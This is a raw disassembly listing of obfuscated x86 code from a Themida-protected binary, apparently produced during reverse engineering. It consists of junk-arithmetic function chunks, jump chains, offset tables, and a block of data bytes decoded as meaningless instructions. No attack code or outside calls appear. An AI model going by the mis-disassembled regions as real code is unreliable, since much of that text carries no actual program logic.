		mov	[esp+8+var_8], eax
		mov	eax, esp
		jmp	loc_5859E0
sub_59006F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_59008E:				; CODE XREF: sub_584787+B443j
		mov	esp, [esp-0Ch+arg_8]
		or	eax, eax
		jnz	loc_58FED3
		push	363Bh
		jmp	loc_58B392
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_5900A3:				; DATA XREF: Themida_:005841E8o
		push	dword ptr [edi+40h]
		jmp	loc_584473
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5900AB:				; CODE XREF: sub_584787+5C0Cj
		xor	edx, eax
		jmp	loc_58E7AE
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5900B2	proc near		; CODE XREF: sub_584787+183Aj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058F512 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		push	ecx
		sub	esp, 4
		jmp	loc_58F512
sub_5900B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5900C9:				; CODE XREF: sub_584787+1B48j
		add	eax, 22C21DAAh
		and	eax, 78036477h
		xor	eax, 516F4652h
		add	ecx, eax
		pop	eax
		xchg	eax, ecx
		jmp	loc_58A943
; ---------------------------------------------------------------------------


loc_5900E1:				; CODE XREF: sub_584787+5984j
		add	edx, edi
		pop	edi
		xchg	edx, [esp+4+var_4]
		pop	esp
		jmp	loc_58EB11
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5900ED	proc near		; DATA XREF: Themida_:0058424Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059001E SIZE 00000029 BYTES

		mov	ax, [esp+0]
		jmp	loc_59001E
sub_5900ED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5900F6:				; CODE XREF: sub_584787+B1F9j
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_58D700
; ---------------------------------------------------------------------------


loc_590101:				; CODE XREF: sub_584787+AE09j
		push	eax
		mov	ah, 8Ch
		jmp	loc_58C97C
; ---------------------------------------------------------------------------


loc_590109:				; CODE XREF: sub_584787+864j
		mov	ebp, ecx
		pop	ecx
		add	ecx, 284C112Ch
		add	ecx, ebp
		jmp	loc_589720
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F1


loc_590119:				; CODE XREF: sub_58F6F1+3j
		mov	dl, bl
		pop	ebx
		mov	[edi+eax*4+1], dl
		jmp	loc_58761A
; END OF FUNCTION CHUNK	FOR sub_58F6F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_590125:				; CODE XREF: sub_584787+1A9j
		push	esp
		jmp	loc_58D256
; ---------------------------------------------------------------------------


loc_59012B:				; CODE XREF: sub_584787+1629j
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	ebx
		jmp	loc_5894E4
; ---------------------------------------------------------------------------


loc_590137:				; CODE XREF: sub_584787+28D0j
		pop	ecx
		sub	ebx, 0FDA7C8Ch
		jmp	loc_58BCCA
; ---------------------------------------------------------------------------


loc_590143:				; CODE XREF: sub_584787+4D97j
		add	esp, 4
		jmp	loc_58BAEA
; ---------------------------------------------------------------------------


loc_59014B:				; CODE XREF: sub_584787+5788j
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	eax
		jmp	loc_58F8B7
; ---------------------------------------------------------------------------


loc_59015C:				; CODE XREF: sub_584787+AE47j
		pop	edi
		jmp	loc_58A7CB
; ---------------------------------------------------------------------------


loc_590162:				; CODE XREF: sub_584787+4E34j
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_585695
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_590170	proc near		; CODE XREF: sub_584787+2C81j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		push	5C1h
		mov	[esp+8+var_8], esi
		mov	esi, 7F425145h
		xor	esi, 66B1739Ah
		xor	esi, 19F302DFh
		push	esi
		push	ebx
		mov	ebx, 1E6612BEh
		add	[esp+10h+var_C], 6E022F60h
		sub	[esp+10h+var_C], ebx
		sub	[esp+10h+var_C], 6E022F60h
		pop	ebx
		pop	ebx
		add	ebx, 1E6612BEh
		pop	esi
		jmp	loc_586F99
sub_590170	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5901B3:				; CODE XREF: sub_584787+8D8Cj
		neg	ebp
		push	esi
		mov	esi, 55283F97h
		jmp	loc_58B1BE
; ---------------------------------------------------------------------------


loc_5901C0:				; CODE XREF: sub_584787+4E69j
		add	esp, 4
		push	eax
		mov	ah, bl
		push	ebx
		mov	bl, ah
		mov	cl, bl
		pop	ebx
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		pop	ebx
		mov	dh, cl
		pop	ecx
		add	al, 0ACh
		jmp	loc_58F16C
; ---------------------------------------------------------------------------


loc_5901E0:				; CODE XREF: sub_584787+9817j
		add	esi, 36AF5CB9h
		pop	ebx
		jmp	loc_589EF5
; ---------------------------------------------------------------------------


loc_5901EC:				; CODE XREF: sub_584787+7586j
		sub	edi, ebp
		add	edi, 6ED86CEAh
		pop	ebp
		xchg	edi, [esp+4Eh+var_4E]
		jmp	loc_584D63
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5901FD	proc near		; CODE XREF: sub_584787+1599j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	esi
		mov	esi, 6395999h
		dec	esi
		push	eax
		mov	eax, 477472Dh
		shr	eax, 8
		shr	eax, 5
		not	eax
		or	eax, 3C6B37B9h
		add	eax, 59C337CEh
		sub	eax, 5FFC915Fh
		add	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		push	esi
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		jmp	loc_58EC5E
sub_5901FD	endp

; ---------------------------------------------------------------------------


loc_590241:				; DATA XREF: Themida_:0058429Co
		push	dword ptr [esp]
		jmp	loc_585150
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_590249:				; CODE XREF: sub_584787+39E7j
		push	2
		pop	ecx
		add	esi, ecx
		push	[esp+40h+var_42+2]
		mov	ecx, [esp+44h+var_46+2]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 62A5602Fh
		jmp	loc_58DCBC
; ---------------------------------------------------------------------------


loc_590265:				; CODE XREF: sub_584787+79B4j
		push	edx
		mov	dl, ah
		mov	ch, dl
		jmp	loc_58AAA3
; ---------------------------------------------------------------------------


loc_59026F:				; CODE XREF: sub_584787+27D3j
		mov	bl, 4Dh
		neg	bl
		jmp	loc_58B132
; ---------------------------------------------------------------------------


loc_590278:				; CODE XREF: sub_584787+658Cj
		mov	[esp+6+var_8+2], eax
		push	ebp
		mov	ebp, 26DD18BAh
		add	[esp+0Ah+var_8+2], 25F67C85h
		sub	[esp+0Ah+var_8+2], 3E5637D0h
		push	esi
		mov	esi, 200A62CDh
		sub	[esp+0Eh+var_8+2], 296B2389h
		add	[esp+0Eh+var_8+2], 0D587E59h
		sub	[esp+0Eh+var_8+2], esi
		jmp	loc_59073A
; ---------------------------------------------------------------------------


loc_5902B0:				; CODE XREF: sub_584787+45A6j
		push	edi
		jmp	loc_58467D
; ---------------------------------------------------------------------------


loc_5902B6:				; CODE XREF: sub_584787+AA88j
		pop	esi
		pop	[esp+18h+var_18]
		pop	esp
		sub	esp, 4
		jmp	loc_5892CC
; ---------------------------------------------------------------------------


loc_5902C3:				; CODE XREF: sub_584787+1875j
		push	esp
		pop	edx
		push	ecx
		jmp	loc_58F647
; ---------------------------------------------------------------------------


loc_5902CB:				; CODE XREF: sub_584787+A033j
		pop	dword ptr [esp+0]
		push	eax
		mov	eax, 4
		jmp	loc_586728
; ---------------------------------------------------------------------------


loc_5902D9:				; CODE XREF: sub_584787+4510j
		mov	eax, [esp+36h+var_38+2]
		jmp	loc_588022
; ---------------------------------------------------------------------------


loc_5902E1:				; CODE XREF: sub_584787+7006j
		pop	edx
		sub	al, 62h
		add	al, 0C5h
		add	al, bl
		sub	al, 0C5h
		add	al, 62h
		pop	ebx
		push	ecx
		push	ebx
		mov	bl, 60h
		mov	cl, 3Ch
		xor	cl, bl
		jmp	loc_58F0DB
; ---------------------------------------------------------------------------


loc_5902FA:				; CODE XREF: sub_584787+6B49j
		add	esp, 4
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_58F82D
; ---------------------------------------------------------------------------


loc_590308:				; CODE XREF: sub_584787+556Bj
		shr	ecx, 7
		sub	ecx, 35BC4561h
		xor	ecx, 0CA920F67h
		jmp	loc_586D2F
; ---------------------------------------------------------------------------


loc_59031C:				; CODE XREF: sub_584787+4ECEj
		xor	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		imul	ecx
		sub	esp, 4
		jmp	loc_585AB7
; ---------------------------------------------------------------------------


loc_59032F:				; CODE XREF: sub_584787+7A27j
		mov	esp, [esp+36h+var_38+2]
		ror	word ptr [esp+36h+var_38+2], cl
		pushf
		jmp	loc_584473
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_59033C:				; DATA XREF: Themida_:005841A8o
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	34E5h
		mov	[esp], esi
		mov	esi, 4D533BEAh
		add	esi, 375C41CAh
		and	esi, 8EC22ABh
		xor	esi, 3FBF17CDh
		push	ebp
		mov	ebp, 7BAE1046h
		not	ebp
		dec	ebp
		not	ebp
		sub	ebp, 0BAC147B0h
		jmp	loc_586D8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_590378:				; CODE XREF: sub_584787+9637j
		pop	eax
		sub	bl, 0DAh
		sub	al, bl
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		push	dx
		push	eax
		mov	ah, 46h
		jmp	loc_58AD69
; ---------------------------------------------------------------------------


loc_59038E:				; CODE XREF: sub_584787+292Dj
		add	eax, edi
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_58D980
; ---------------------------------------------------------------------------


loc_59039B:				; CODE XREF: sub_584787+79BFj
		mov	esi, [esp+24h+var_26+2]
		add	esp, 4
		xor	ebp, [esp+20h+var_20]
		xor	[esp+20h+var_20], ebp
		jmp	loc_58E2C1
; ---------------------------------------------------------------------------


loc_5903AC:				; CODE XREF: sub_584787+3D50j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5903B1:				; CODE XREF: sub_584787+489Bj
		add	ebp, ebx
		pop	ebx
		add	ebp, esi
		sub	ebp, 1FB0127h
		pop	esi
		xchg	ebp, [esp+34h+var_34]
		jmp	loc_58E4E0
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_5903C5:				; DATA XREF: Themida_:005843A4o
		lodsb
		jmp	loc_588647
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5903CB:				; CODE XREF: sub_584787+1AFBj
		sub	ebp, 6500085Fh
		jmp	loc_58E000
; ---------------------------------------------------------------------------


loc_5903D6:				; CODE XREF: sub_584787+A348j
		mov	eax, esp
		jmp	loc_58E87B
; ---------------------------------------------------------------------------


loc_5903DD:				; CODE XREF: sub_584787+2902j
		pop	esp
		sub	esp, 4
		mov	[esp-4+arg_0], edx
		mov	edx, ebx
		mov	edi, edx
		jmp	loc_586017
; ---------------------------------------------------------------------------


loc_5903ED:				; CODE XREF: sub_584787+BF14j
		add	[edi+24h], ecx
		pop	ecx
		jmp	sub_59006F
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5903F6	proc near		; CODE XREF: sub_584787+AE6Dj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0058F985 SIZE 00000009 BYTES

		push	ebp
		jmp	loc_58F985
sub_5903F6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5903FC:				; CODE XREF: sub_584787+6055j
		mov	edx, 0
		push	eax
		mov	eax, 156F5352h
		push	esi
		mov	esi, 1F112DC8h
		add	esi, 0FDAE933h
		add	edx, esi
		pop	esi
		sub	edx, eax
		sub	edx, 2EEC16FBh
		pop	eax
		add	edx, ebx
		push	ebp
		mov	ebp, 156F5352h
		jmp	loc_587996
; ---------------------------------------------------------------------------


loc_59042C:				; CODE XREF: sub_584787+411Aj
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ebp
		jmp	loc_589D2C
; ---------------------------------------------------------------------------


loc_590438:				; CODE XREF: sub_584787+4498j
		shr	dl, 6
		and	dl, 0A2h
		add	dl, 1Bh
		inc	dl
		sub	dl, 2Eh
		xor	dl, ah
		pop	eax
		neg	dl
		not	dl
		jmp	loc_58F58C
; ---------------------------------------------------------------------------


loc_590452:				; CODE XREF: sub_584787+45EDj
		pop	ecx
		xor	ebp, 3DE74D64h
		jmp	loc_58D8BA
; ---------------------------------------------------------------------------


loc_59045E:				; CODE XREF: sub_584787+5A64j
		not	edi
		or	edi, 481E6DE5h
		not	edi
		add	edi, 2761A8BDh
		sub	edx, edi
		pop	edi
		jmp	loc_58D911
; ---------------------------------------------------------------------------


loc_590476:				; CODE XREF: sub_584787+9EB5j
		sub	eax, 1775470h
		inc	eax
		sub	eax, 0DAF0038Dh
		add	ebp, eax
		pop	eax
		mov	ebx, [esp+24h+var_26+2]
		jmp	loc_5856BD
; ---------------------------------------------------------------------------


loc_59048C:				; CODE XREF: sub_584787+5C8Dj
		add	esp, 4
		sub	edi, ebx
		jmp	loc_58AF98
; ---------------------------------------------------------------------------


loc_590499:				; CODE XREF: sub_584787+A8E2j
		mov	edx, 520B1376h
		xor	edi, edx
		pop	edx
		xor	edi, 12834572h
		add	edx, edi
		jmp	loc_58E36F
; ---------------------------------------------------------------------------


loc_5904AE:				; CODE XREF: sub_584787+BFC3j
		pop	esi
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 200A62CDh
		add	dword ptr [esp+4], 3E5637D0h
		sub	esp, 4
		mov	[esp+0], edi
		push	ebp
		mov	ebp, 25F67C85h
		mov	edi, ebp
		jmp	loc_586F5F
; ---------------------------------------------------------------------------


loc_5904D6:				; CODE XREF: sub_584787+55F5j
		mov	ch, 35h
		inc	ch
		push	small 25FBh
		mov	word ptr [esp-0Eh+arg_8+2], bx
		push	edx
		mov	dl, 2Eh
		xor	dl, 7Ah
		xor	dl, 87h
		mov	bh, dl
		jmp	loc_587A1C
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5904F2	proc near		; DATA XREF: Themida_:005842E0o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058FC4B SIZE 0000001F BYTES

		lodsb
		jmp	loc_58FC4B
sub_5904F2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5904F8:				; CODE XREF: sub_584787+8F9Cj
		shr	ecx, 4
		xor	ecx, 15CFC07h
		push	ecx
		pop	ebx
		jmp	loc_58B962
; ---------------------------------------------------------------------------


loc_590508:				; CODE XREF: sub_584787+B4B9j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+24h+var_20]
		jmp	loc_58868E
; ---------------------------------------------------------------------------


loc_59051E:				; CODE XREF: sub_584787+B5FCj
		add	ecx, ebp
		pop	ebp
		xor	ecx, 637F3AE3h
		shr	ecx, 4
		shl	ecx, 3
		sub	ecx, 0E0805A4Fh
		jmp	loc_5895B8
; ---------------------------------------------------------------------------


loc_590538:				; CODE XREF: sub_584787+2083j
		push	edx
		push	5851h
		mov	[esp+0], ebx
		mov	ebx, 787EC5h
		mov	edx, 787EC7h
		jmp	loc_5887E5
; ---------------------------------------------------------------------------


loc_590550:				; CODE XREF: sub_584787+9FEj
		sub	ebx, ebp
		pop	ebp
		add	ebx, 1F44934h
		jmp	loc_588EC8
; ---------------------------------------------------------------------------


loc_59055E:				; CODE XREF: sub_584787+A685j
		push	59D5486Fh
		pop	esi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_5882D9
; ---------------------------------------------------------------------------


loc_59056D:				; CODE XREF: sub_584787+4DA7j
		sub	eax, edi
		pop	edi
		sub	eax, 65662318h
		add	eax, 3A8150Ah
		jmp	loc_58A3D4
; ---------------------------------------------------------------------------


loc_59057F:				; CODE XREF: sub_584787+44AFj
		sub	al, ch
		pop	ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	ecx
		mov	ch, 85h
		push	eax
		mov	ah, 87h
		sub	ah, 0B4h
		shr	ah, 7
		and	ah, 6Bh
		add	ah, 1
		xor	ah, 45h
		sub	ch, 0EDh
		jmp	loc_58C7D9
; ---------------------------------------------------------------------------


loc_5905A8:				; CODE XREF: sub_584787+354Aj
		mov	dx, word ptr [esp+42h+var_42]
		push	ebx
		push	6F1Bh
		mov	[esp+0], esp
		jmp	loc_584A4F
; ---------------------------------------------------------------------------


loc_5905BA:				; CODE XREF: sub_584787+4A53j
		sub	esi, 3BC9129Bh
		add	esi, 65A768DDh
		add	esi, 6D812CDh
		xor	esi, 89F2D2BEh
		add	ebp, esi
		pop	esi
		jmp	loc_586968
; ---------------------------------------------------------------------------


loc_5905DA:				; CODE XREF: sub_584787+5F79j
		push	[esp+58h+var_58]
		jmp	loc_58BA76
; ---------------------------------------------------------------------------


loc_5905E2:				; CODE XREF: sub_584787+98AEj
		shl	bl, 1
		sub	bl, 0B7h
		jmp	loc_58D5A2
; ---------------------------------------------------------------------------


loc_5905EC:				; CODE XREF: sub_584787+33D9j
		sub	edx, 5C3D6989h
		sub	edx, esi
		add	edx, 5C3D6989h
		pop	esi
		jmp	loc_58BADF
; ---------------------------------------------------------------------------


loc_590600:				; CODE XREF: sub_584787+8C40j
		push	edx
		mov	edx, 4
		sub	ebp, 6C2961DCh
		add	ebp, edx
		jmp	loc_587B3F
; ---------------------------------------------------------------------------


loc_590613:				; CODE XREF: sub_584787+7C6Dj
		mov	[esp+6+var_8+2], eax
		push	esi
		mov	esi, 7D0D462Ah
		push	ebx
		mov	ebx, esi
		mov	eax, ebx
		jmp	loc_588F5B
; ---------------------------------------------------------------------------


loc_590626:				; CODE XREF: sub_584787+B14Fj
		mov	ecx, 2
		add	ebx, ecx
		jmp	loc_586FD2
; ---------------------------------------------------------------------------


loc_590632:				; CODE XREF: sub_584787+417Aj
		pop	ebx
		add	edi, ebp
		push	dword ptr [esp+0]
		jmp	loc_58BEE8
; ---------------------------------------------------------------------------


loc_59063D:				; CODE XREF: sub_584787-310j
		mov	word ptr [esp+4+var_4],	bx
		push	ecx
		mov	cl, 0AFh
		mov	bh, 50h
		sub	bh, 9Bh
		push	ecx
		jmp	loc_58C876
; ---------------------------------------------------------------------------


loc_59064F:				; CODE XREF: sub_584787+AC56j
		mov	ebx, 4
		push	ecx
		mov	ecx, 459A11ACh
		sub	edi, 34911912h
		sub	edi, ecx
		add	edi, 34911912h
		pop	ecx
		add	edi, 15DC1E6Dh
		add	edi, ebx
		sub	edi, 15DC1E6Dh
		add	edi, 459A11ACh
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xor	edi, [esp+52h+var_54+2]
		xor	[esp+52h+var_54+2], edi
		xor	edi, [esp+52h+var_54+2]
		mov	esp, [esp+52h+var_54+2]
		mov	[esp+52h+var_54+2], ecx
		mov	ecx, 1
		jmp	loc_5903ED
; ---------------------------------------------------------------------------


loc_5906A0:				; CODE XREF: sub_584787+4F2j
		push	165Fh
		mov	[esp-8+arg_4], ebx
		mov	ebx, 62C9583Dh
		add	ebx, 51716923h
		push	ecx
		mov	ecx, 11F579E8h
		jmp	loc_58CA41
; ---------------------------------------------------------------------------


loc_5906BE:				; CODE XREF: sub_584787+9567j
		neg	bh
		and	bh, 62h
		shl	bh, 4
		not	bh
		dec	bh
		xor	bh, 3Eh
		add	al, bh
		pop	ebx
		jmp	loc_58CB89
; END OF FUNCTION CHUNK	FOR sub_584787
; ---------------------------------------------------------------------------


loc_5906D5:				; DATA XREF: Themida_:005843ACo
		mov	ecx, [esp]
		jmp	loc_589E92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_5906DD:				; CODE XREF: sub_584787+A23Cj
		sub	al, 59h
		jmp	loc_58832E
; ---------------------------------------------------------------------------


loc_5906E4:				; CODE XREF: sub_584787+1102j
		pop	edx
		jmp	loc_585E62
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_5906EA	proc near		; CODE XREF: sub_584787+33BFj

var_4		= dword	ptr -4

		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		mov	eax, [esp+0]
		push	34F5h
		mov	[esp+4+var_4], ebx
		push	esp
		pop	ebx
		push	esi
		jmp	loc_58CB55
sub_5906EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_584787


loc_59070D:				; CODE XREF: sub_584787+2D90j
		mov	edi, 562D6E2Ah
		jmp	loc_58F00F
; ---------------------------------------------------------------------------


loc_590717:				; CODE XREF: sub_584787+8332j
		mov	esi, 468E6702h
		shl	esi, 2
		add	esi, 1DDE64A2h
		jmp	loc_58A841
; ---------------------------------------------------------------------------


loc_59072A:				; CODE XREF: sub_584787+2024j
		dec	al
		not	al
		add	al, 6
		push	ebx
		mov	bh, al
		mov	dh, bh
		jmp	loc_58A56F
; ---------------------------------------------------------------------------


loc_59073A:				; CODE XREF: sub_584787+BB24j
		sub	[esp+0Eh+var_8+2], 0D587E59h
		add	[esp+0Eh+var_8+2], 296B2389h
		jmp	loc_5904AE
; ---------------------------------------------------------------------------


loc_59074F:				; CODE XREF: sub_584787+A920j
		mov	ecx, [esp+0]
		add	esp, 4
		pop	ebx
		jmp	loc_5857DF
; END OF FUNCTION CHUNK	FOR sub_584787

; =============== S U B	R O U T	I N E =======================================



sub_59075E	proc near		; CODE XREF: sub_584787+59C3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058447C SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 4
		push	esi
		mov	esi, 4DAB04B0h
		jmp	loc_58447C
sub_59075E	endp

; ---------------------------------------------------------------------------
		dd offset byte_5E96EF
		dd 0E237DCAAh, 12FF4Ch,	0FA44C2CAh, 5EF65Ah, 5EA23Fh, 7C90EB94h
		dd 207h, 2, 1, 2, 0FA44C2CAh, 5	dup(0)
		dd offset loc_597169
		dd offset loc_59510E
		dd offset loc_5A1D2A
		dd offset loc_5A5256
		dd offset loc_5A1A90
		dd offset loc_594D95
		dd offset loc_597B37
		dd offset loc_5996B6
		dd offset loc_5919CF
		dd offset loc_59869E
		dd offset loc_5A5960
		dd offset off_594CD9
		dd offset loc_5A3A6B
		dd offset loc_5A27CC
		dd offset word_59DA4A
		dd offset loc_59C4A4
		dd offset loc_59F8C9
		dd offset loc_59ABFD
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 4Fh,	5Ah, 0
		dd offset loc_59E6FD
		dd offset loc_5A3442
; ---------------------------------------------------------------------------
		jmp	short loc_59087A
; ---------------------------------------------------------------------------
		pop	ecx
		add	[ecx-68FFA5F9h], cl
		push	ebx
		pop	ecx
		add	ch, dh
		pop	ebp
		pop	ecx
		add	[esi+eax*8+3A5E0059h], ch
		pop	ecx
		add	[esp+eax*2-50EEFFA7h], dl
		pop	ecx
		add	[esi-65FFA6F1h], bh
		inc	esi
		pop	edx
		add	[edx-20FFA6E7h], bl
		xor	ebx, [edx+0]
		push	0B90059B1h
		push	ebp
		pop	ecx
		add	[edx+ecx*4-0F0DFFA7h], bl
		pop	ecx
		add	[eax-73h], cl
		pop	ecx
		add	[edi+0E005975h], bl
		xor	[ecx+0], ebx
		pop	ebx
		sub	al, 59h
		add	[ebp+1F0059A9h], bl
		clc
		pop	ecx
		add	dh, bl
		mov	dh, 59h
		add	[esi], bl
		sub	[ecx+0], bl
		xor	esi, [esi-4FF4FFA7h]
		pop	ecx
		add	[ebp+2F0059ECh], cl
		push	edi


loc_59087A:				; CODE XREF: Themida_:0059080Cj
		pop	ecx
		add	[esi+ebp*2+59h], ah
		add	[esi+33h], dl
		pop	edx
		add	[edi+6Ch], cl
		pop	ecx
		add	ah, al
		or	eax, 0B23005Ah
		pop	edx
		add	[ecx-48h], al
		pop	ecx
		add	[ebx+63h], bl
		pop	ecx
		add	ds:0C4005944h, bl
		neg	dword ptr [ecx+0]
		fcom	st(1)
		pop	ecx
		add	[ebx+31005958h], al
		cmp	ebx, [ecx+0]
		push	esp
		lodsd
		pop	ecx
		add	[ebx+29h], ch
		pop	edx
		add	al, bh
		or	bl, [edx+0]
		add	al, 0FDh
		pop	ecx
		add	[edi+3500592Eh], dl
		xor	eax, 2220059h
		pop	edx
		add	al, bh
		das
		pop	ecx
		add	ch, dl
		dec	ebx
		pop	ecx
		add	dh, bh
		jns	short near ptr loc_59092B+1
		add	[esi-5BFFA646h], al
		mov	dword ptr [ecx+0], offset loc_591846
		mov	ah, 3Ah
		pop	ecx
		add	[ebp+9], cl
		pop	edx
		add	[esi+7C005A18h], cl
		mov	dh, 59h
		add	[edi-6FFA6EDh],	cl
		rcr	dword ptr [ecx+0], 50h
		xchg	eax, ecx
		pop	ecx
		add	[ebx-49h], dh
		pop	ecx
		add	[ecx-3CFFA629h], dh
		cmp	al, 5Ah
		add	al, cl
		cmp	bl, [ecx+0]
		std
		fistp	dword ptr [ecx+0]
		push	es
		cmp	al, 59h
		add	ah, bl
		in	eax, dx
		pop	ecx
		add	[ebx-2Dh], bl
		pop	ecx
		add	ch, dh
		loopne	loc_590978
		add	[edx], dl
		sbb	[edx+0], bl
		dec	esp
		pop	ss
		pop	edx
		add	[esi+7Bh], al
		pop	ecx


loc_59092B:				; CODE XREF: Themida_:005908D1j
		add	[ebx], bh
		dec	ebx
		pop	ecx
		add	ah, cl
		retf	59h
; ---------------------------------------------------------------------------
		pusha
		push	ds
		pop	ecx
		add	[edi+12005A28h], cl
		inc	esi
		pop	ecx
		add	bl, bh
		dec	ecx
		pop	edx
		add	[edi-1Dh], cl
		pop	ecx
		add	[ebp+ebx*4+59h], bl
		add	ah, bl
		pushf
		pop	ecx
		add	[edx+ecx*2-0B3CFFA6h], bl
		pop	ecx
		add	[edx+3005962h],	al
		call	fword ptr [ecx+0]
		sub	al, 8
		pop	edx
		add	[edi], ch
		dec	ecx
		pop	edx
		add	[ebp+ecx*4+59h], dh
		add	bh, al
		xchg	eax, edx
		pop	ecx
		add	[eax-67FFA6ABh], dh
		sbb	bl, [edx+0]


loc_590978:				; CODE XREF: Themida_:0059091Dj
		jmp	near ptr 0AB596346h
; ---------------------------------------------------------------------------
		db 0Bh,	59h, 0
		dd offset loc_5A366A
		dd offset loc_593E7F
		dd offset loc_59F9F3
		dd offset loc_5A50A8
		dd offset loc_5A47A2
		dd offset loc_594534
		dd offset sub_5A28F6
		dd offset sub_59BF22
		dd offset sub_59A1A3
		dd offset sub_5A2D8D
		dd offset sub_599AE1
		dd offset sub_595DDF
		dd offset sub_590B9C
		dd offset sub_5A17BF
		dd offset loc_5939CE
		dd offset loc_593C52
		dd offset loc_59E893
		dd offset loc_59AE0E
		dd offset byte_5A354B
		dd offset loc_5997E4
		dd offset loc_596995
		dd offset loc_5A50CC
		dd offset loc_5A547B
		dd offset loc_5A1869
		dd offset loc_592721
		dd offset loc_5A1EA2
		dd offset loc_596297
		dd offset sub_59822A
		dd offset sub_5A4CF8
		dd offset sub_59E9F9
		dd offset sub_5A3F6E
		dd offset sub_59E918
		dd offset sub_592E1C
		dd offset sub_5964B7
		dd offset sub_59771B
		dd offset sub_59F2FC
		dd offset sub_59B10A
		dd offset sub_5A3536
		dd offset sub_5A2801
		dd offset sub_5969DC
		dd offset sub_5A5596
		dd offset sub_5A58F3
		dd offset sub_59B2AF
		dd offset sub_5A0356
		dd offset sub_59E716
		dd offset sub_59338E
		dd offset sub_5A1A6C
		dd offset sub_5A085D
		dd offset sub_59DADF
		dd offset sub_59C623
		dd offset sub_598762
		dd offset sub_5A113A
		dd offset sub_59B817
; ---------------------------------------------------------------------------


loc_590A54:				; CODE XREF: Themida_:005D1F0Cj
					; Themida_:005D1F16j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6144792h
		mov	eax, edi
		add	edi, 61444AAh
		cmp	eax, [edi+2Ch]
		jnz	short loc_590A72
		jmp	short loc_590A85
; ---------------------------------------------------------------------------


loc_590A72:				; CODE XREF: Themida_:00590A6Ej
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_590A81
; ---------------------------------------------------------------------------


loc_590A7C:				; CODE XREF: Themida_:00590A83j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_590A81:				; CODE XREF: Themida_:00590A7Aj
		or	ecx, ecx
		jnz	short loc_590A7C


loc_590A85:				; CODE XREF: Themida_:00590A70j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

